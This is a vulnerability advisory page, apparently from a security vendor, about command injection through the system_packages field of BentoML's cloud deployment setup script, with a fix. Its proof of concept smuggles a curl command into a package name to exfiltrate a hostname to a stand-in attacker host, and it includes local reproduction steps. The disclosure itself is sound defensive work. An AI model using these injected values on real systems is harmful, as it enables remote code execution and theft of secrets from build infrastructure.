GHSA-fgv4-6jr3-jgfw
HIGHGHSA-fgv4-6jr3-jgfw is a high-severity (CVSS 7.8) OS Command Injection vulnerability in bentoml. O3 Security confirms whether GHSA-fgv4-6jr3-jgfw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
BentoML: Command Injection in cloud deployment setup script
Real-World Exposure
bentomlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Commit ce53491 (March 24) fixed command injection via system_packages in Dockerfile templates and images.py by adding shlex.quote. However, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting.
The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.
Details
Fixed paths (commit ce53491):
src/_bentoml_sdk/images.py:88- addedshlex.quote(package)src/bentoml/_internal/bento/build_config.py:505- addedbash_quoteJinja2 filter- Jinja2 templates:
base_debian.j2,base_alpine.j2, etc.
Unfixed path:
src/bentoml/_internal/cloud/deployment.py, line 1648:
def _build_setup_script(bento_dir: str, image: Image | None) -> bytes:
content = b""
config = BentoBuildConfig.from_bento_dir(bento_dir)
if config.docker.system_packages:
content += f"apt-get update && apt-get install -y {' '.join(config.docker.system_packages)} || exit 1\n".encode()
system_packages values from bentofile.yaml are joined with spaces and interpolated directly into the apt-get install command. No shlex.quote.
Remote execution confirmed:
- Line 905:
setup_script = _build_setup_script(bento_dir, svc.image)in_init_deployment_files - Line 908:
upload_files.append(("setup.sh", setup_script))uploads to BentoCloud - Line 914:
self.upload_files(upload_files, ...)sends to the remote deployment - The script runs on the cloud build infrastructure during container setup
Second caller at line 1068: _build_setup_script is also called during Deployment.watch() for dev mode hot-reload deployments.
Proof of Concept
bentofile.yaml:
service: "service:svc"
docker:
system_packages:
- "curl"
- "jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#"
Generated setup.sh:
apt-get update && apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1
The semicolon terminates the apt-get command. ${IFS} is used for spaces (works in bash, avoids YAML parsing issues). The # comments out the trailing || exit 1. The injected curl exfiltrates the hostname of the build infrastructure to the attacker.
Impact
A malicious bentofile.yaml achieves remote code execution on BentoCloud's build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:
- Supply chain: A shared Bento from a public model hub contains a poisoned
bentofile.yaml. When deployed to BentoCloud, the injected command runs on the build infrastructure. - Insider threat: A data scientist with deploy permissions injects commands into
system_packagesto exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants' data). - CI/CD compromise: The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.
Local Reproduction Steps
Tested and confirmed on Ubuntu with BentoML source at commit 0772581.
Step 1: Create a directory with a malicious bentofile.yaml:
mkdir /tmp/bento-pwn
cat > /tmp/bento-pwn/bentofile.yaml << 'EOF'
service: "service:svc"
docker:
system_packages:
- "curl"
- "jq; touch /tmp/PWNED_BY_INJECTION #"
EOF
Step 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):
python3 -c "
import yaml
with open('/tmp/bento-pwn/bentofile.yaml') as f:
config = yaml.safe_load(f)
pkgs = config['docker']['system_packages']
script = f\"apt-get update && apt-get install -y {' '.join(pkgs)} || exit 1\n\"
print('Generated setup.sh:')
print(script)
with open('/tmp/bento-pwn/setup.sh', 'w') as f:
f.write(script)
"
Step 3: Execute and verify:
rm -f /tmp/PWNED_BY_INJECTION
bash /tmp/bento-pwn/setup.sh
ls -la /tmp/PWNED_BY_INJECTION
Result: /tmp/PWNED_BY_INJECTION is created, confirming the injected touch command executed. The semicolon broke out of apt-get install, the injected command ran, and # commented out the error handler.
Generated setup.sh content:
apt-get update && apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1
For comparison, the fixed version (with shlex.quote) would generate:
apt-get update && apt-get install -y curl 'jq; touch /tmp/PWNED_BY_INJECTION #' || exit 1
The single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.
Suggested Fix
Apply shlex.quote to each package name, matching the fix in images.py:
if config.docker.system_packages:
quoted = ' '.join(shlex.quote(p) for p in config.docker.system_packages)
content += f"apt-get update && apt-get install -y {quoted} || exit 1\n".encode()
— Koda Reef
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | bentoml | all versions | 1.4.38 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update bentoml to 1.4.38 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fgv4-6jr3-jgfw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fgv4-6jr3-jgfw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fgv4-6jr3-jgfw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fgv4-6jr3-jgfw in your dependencies?
O3 detects GHSA-fgv4-6jr3-jgfw across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.